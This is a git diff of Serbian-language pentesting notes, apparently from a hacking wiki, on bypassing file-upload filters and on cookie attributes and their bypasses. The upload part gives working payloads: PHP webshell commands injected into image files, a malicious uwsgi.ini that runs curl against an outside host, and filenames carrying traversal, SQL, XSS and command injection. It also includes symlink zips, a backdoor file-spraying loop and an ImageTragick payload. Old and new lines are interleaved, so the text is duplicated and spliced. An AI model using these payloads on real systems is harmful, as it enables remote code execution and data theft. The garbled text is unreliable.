Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 ovde i dodavanje .png
# Učitajte datoteku i proverite odgovor koliko karaktera dozvoljava. Recimo 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Napravite payload
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
- Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **zaglavlja** na: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **rečnik**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Zaobiđite **magic number** proveru dodavanjem na početak datoteke **bajtova pravog imidža** (zbuniti _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
- Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Zaobiđite **magic number** proveru dodavanjem na početak datoteke **bajtova pravog imidža** (zbunite _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ili takođe možete **direktno uvesti payload** u sliku:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Ako se **kompresija dodaje vašoj slici**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- Ako se **kompresija dodaje vašoj slici**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web stranica takođe može **menjati veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- Web stranica takođe može **menjati veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- Pronađite ranjivost da **preimenujete** već otpremeljenu datoteku (da promenite ekstenziju).
- Pronađite ranjivost da **preimenujete** već otpremljenu datoteku (da promenite ekstenziju).
- Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
- **Moguće otkrivanje informacija**:
1. Otpremite **several times** (i u **isto vreme**) **istu datoteku** sa **istim imenom**
1. Otpremite **više puta** (i u **isto vreme**) **istu datoteku** sa **istim imenom**
2. Otpremite datoteku sa **imenom** datoteke ili **foldera** koji **već postoji**
3. Otpremite datoteku sa **“.”, “..”, ili “…” kao njenim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremeljene datoteke u “/www/uploads/” direktorijumu, ime datoteke “.” će kreirati datoteku pod nazivom “uploads” u “/www/” direktorijumu.
4. Otpremite datoteku koja se možda neće lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
3. Otpremite datoteku sa **“.”, “..”, ili “…” kao njenim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremne datoteke u “/www/uploads/” direktorijumu, ime “.” će kreirati datoteku pod nazivom “uploads” u “/www/” direktorijumu.
4. Otpremite datoteku koja se možda ne može lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
5. Otpremite datoteku u **Windows-u** sa **nevažećim karakterima** kao što su `|<>*?”` u njenom imenu. (Windows)
6. Otpremite datoteku u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Takođe pokušajte da **otpremite izvršnu** (.exe) ili **.html** (manje sumnjivu) datoteku koja **će izvršiti kod** kada je slučajno otvori žrtva.
@ -105,11 +105,11 @@ Ako možete otpremiti XML datoteku na Jetty server, možete dobiti [RCE jer se *
## **uWSGI RCE**
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Za detaljnu analizu ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Ranjivosti Remote Command Execution (RCE) mogu se iskoristiti na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracionu datoteku. uWSGI konfiguracione datoteke koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj datoteke. Među raznim podržanim šemama u uWSGI, "exec" šema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se obradi `.ini` konfiguraciona datoteka.
Ranjivosti Remote Command Execution (RCE) mogu se iskoristiti na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracionu datoteku. uWSGI konfiguracione datoteke koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj datoteke. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se obradi `.ini` konfiguraciona datoteka.
Razmotrite sledeći primer štetne `uwsgi.ini` datoteke, prikazujući razne šeme:
Razmotrite sledeći primer štetne `uwsgi.ini` datoteke, prikazujući razne sheme:
```ini
[uwsgi]
; read from a symbol
@ -127,7 +127,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
@ -161,36 +161,36 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
## Alati
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za upload datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za učitavanje datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
## Od upload-a datoteka do drugih ranjivosti
## Od učitavanja datoteka do drugih ranjivosti
- Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **path traversal**
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injection**
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da postignete XSS
- Postavite **ime datoteke** na `; sleep 10;` da testirate neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
- [**XSS** u upload-u slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
- Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelaza**
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
- Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
- [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE u upload-u svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** putem upload-a svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
- [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
- Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije od svakog posetioca**.
- [**XXE i CORS** zaobilaženje sa PDF-Adobe upload-om](pdf-upload-xxe-and-cors-bypass.md)
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da dobijete JS izvršenje**](../xss-cross-site-scripting/pdf-injection.md). Ako možete upload-ovati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
- Upload-ujte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom upload-a datoteka
- [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
Evo top 10 liste stvari koje možete postići upload-ovanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
4. **CSV**: CSV injekcija
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
7. **HTML / JS** : HTML injekcija / XSS / Otvoreno preusmeravanje
8. **PNG / JPEG**: Pixel flood napad (DoS)
9. **ZIP**: RCE putem LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -207,11 +207,11 @@ Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wi
### Zip/Tar datoteka automatski dekompresovana upload
Ako možete upload-ovati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
#### Symlink
Upload-ujte link koji sadrži soft linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -262,7 +262,7 @@ system($cmd);
}?>
```
2. **File Spraying i kreiranje komprimovanih fajlova**: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži te fajlove.
2. **File Spraying i Kreiranje Kompresovanih Fajlova**: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži te fajlove.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@ -279,7 +279,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (forma [exploit](https://www.exploit-db.com/exploits/39767))
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (form [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -288,7 +288,7 @@ pop graphic-context
```
## Ugrađivanje PHP Shell-a u PNG
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
@ -296,11 +296,11 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
## Poliglot datoteke
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
I pored svoje prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -12,25 +12,25 @@ Datum isteka kolačića određuje atribut `Expires`. Nasuprot tome, atribut `Max
### Domen
Domaćini koji primaju kolačić su određeni atributom `Domain`. Podrazumevano, ovo je postavljeno na domaćina koji je izdao kolačić, ne uključujući njegove poddomenke. Međutim, kada je atribut `Domain` eksplicitno postavljen, obuhvata i poddomene. Ovo čini specifikaciju atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića preko poddomena neophodno. Na primer, postavljanje `Domain=mozilla.org` čini kolačiće dostupnim na njegovim poddomenama kao što je `developer.mozilla.org`.
Domaćini koji primaju kolačić su određeni atributom `Domain`. Podrazumevano, ovo je postavljeno na domaćina koji je izdao kolačić, ne uključujući njegove poddomene. Međutim, kada je atribut `Domain` eksplicitno postavljen, obuhvata i poddomene. Ovo čini specifikaciju atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića preko poddomena neophodno. Na primer, postavljanje `Domain=mozilla.org` čini kolačiće dostupnim na njegovim poddomenama kao što je `developer.mozilla.org`.
### Putanja
Specifična URL putanja koja mora biti prisutna u traženom URL-u da bi `Cookie` zaglavlje bilo poslato označena je atributom `Path`. Ovaj atribut smatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima.
Specifična URL putanja koja mora biti prisutna u zahtevanom URL-u da bi `Cookie` zaglavlje bilo poslato označena je atributom `Path`. Ovaj atribut smatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima.
### Pravila Redosleda
Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zasniva se na:
- Kolačiću koji se podudara sa najdužom putanjom u traženom URL-u.
- Kolačiću koji se podudara sa najdužom putanjom u zahtevanom URL-u.
- Najnovije postavljenom kolačiću ako su putanje identične.
### SameSite
- Atribut `SameSite` određuje da li se kolačići šalju na zahteve koji potiču sa trećih strana. Nudi tri podešavanja:
- Atribut `SameSite` određuje da li se kolačići šalju na zahteve koji potiču sa trećih domena. Nudi tri podešavanja:
- **Strict**: Ograničava kolačić da se ne šalje na zahteve trećih strana.
- **Lax**: Omogućava kolačiću da se šalje sa GET zahtevima koje pokreću veb sajtovi trećih strana.
- **None**: Dozvoljava kolačiću da se šalje sa bilo kog domena treće strane.
- **None**: Dozvoljava kolačiću da se šalje sa bilo kog trećeg domena.
Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoći da se osigura da se ponašaju kako se očekuje u različitim scenarijima.
@ -47,20 +47,20 @@ Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoć
Tabela iz [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i malo izmenjena.\
Kolačić sa _**SameSite**_ atributom će **ublažiti CSRF napade** gde je potrebna prijavljena sesija.
**\*Imajte na umu da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez SameSite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Imajte na umu da će privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve na vrhunskim stranicama.**
**\*Imajte na umu da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez samesite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Imajte na umu da će privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahtev na vrhunskom nivou.**
## Zastavice Kolačića
### HttpOnly
Ovo sprečava **klijenta** da pristupi kolačiću (putem **JavaScripta**, na primer: `document.cookie`)
Ovo sprečava **klijenta** da pristupi kolačiću (putem **Javascript-a**, na primer: `document.cookie`)
#### **Obilaženja**
- Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer, na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev ovoj stranici i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer, na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev na ovu stranicu i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Ovo se može zaobići sa **TRACE** **HTTP** zahtevima jer će odgovor servera (ako je ova HTTP metoda dostupna) odražavati poslate kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
- Ova tehnika se izbegava od strane **modernih pretraživača koji ne dozvoljavaju slanje TRACE** zahteva iz JS-a. Međutim, neka obilaženja su pronađena u specifičnom softveru, kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
- Ova tehnika se izbegava od strane **modernih pretraživača koji ne dozvoljavaju slanje TRACE** zahteva iz JS-a. Međutim, neka obilaženja su pronađena u specifičnom softveru kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
- Drugi način je iskorišćavanje zero/day ranjivosti pretraživača.
- Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada Cookie Jar overflow:
@ -85,11 +85,11 @@ Za kolačiće sa prefiksom `__Host-`, mora biti ispunjeno nekoliko uslova:
- Zabranjeno im je da specificiraju domen, sprečavajući njihovu transmisiju na poddomene.
- Putanja za ove kolačiće mora biti postavljena na `/`.
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati superdomenima ili poddomenama. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati superdomenima ili poddomenima. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
### Prepisivanje kolačića
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje da budu prepisani iz poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) je predstavljeno da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- iz poddomena, prevarom parsera, na primer, dodavanjem "=" na početak ili na kraj...:
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje da budu prepisani iz poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) je predstavljeno da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- iz poddomena, varajući parser, na primer, dodavanjem "=" na početak ili na kraj...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -103,17 +103,17 @@ Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako
### Dekodiranje i Manipulacija Kolačićima
Osjetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo ispitani. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i da se predstavljaju kao drugi korisnici kodiranjem svojih izmenjenih podataka nazad u kolačić.
Osjetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo ispitani. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i predstavljaju druge korisnike tako što ponovo kodiraju svoje izmenjene podatke u kolačić.
### Otimanje Sesije
Ovaj napad uključuje krađu kolačića korisnika kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može da se predstavi kao legitimni korisnik.
Ovaj napad uključuje krađu korisničkog kolačića kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može predstavljati legitimnog korisnika.
### Fiksacija Sesije
U ovom scenariju, napadač prevari žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeli novi kolačić prilikom prijave, napadač, posedujući originalni kolačić, može se predstaviti kao žrtva. Ova tehnika se oslanja na to da žrtva prijavi sa kolačićem koji je obezbedio napadač.
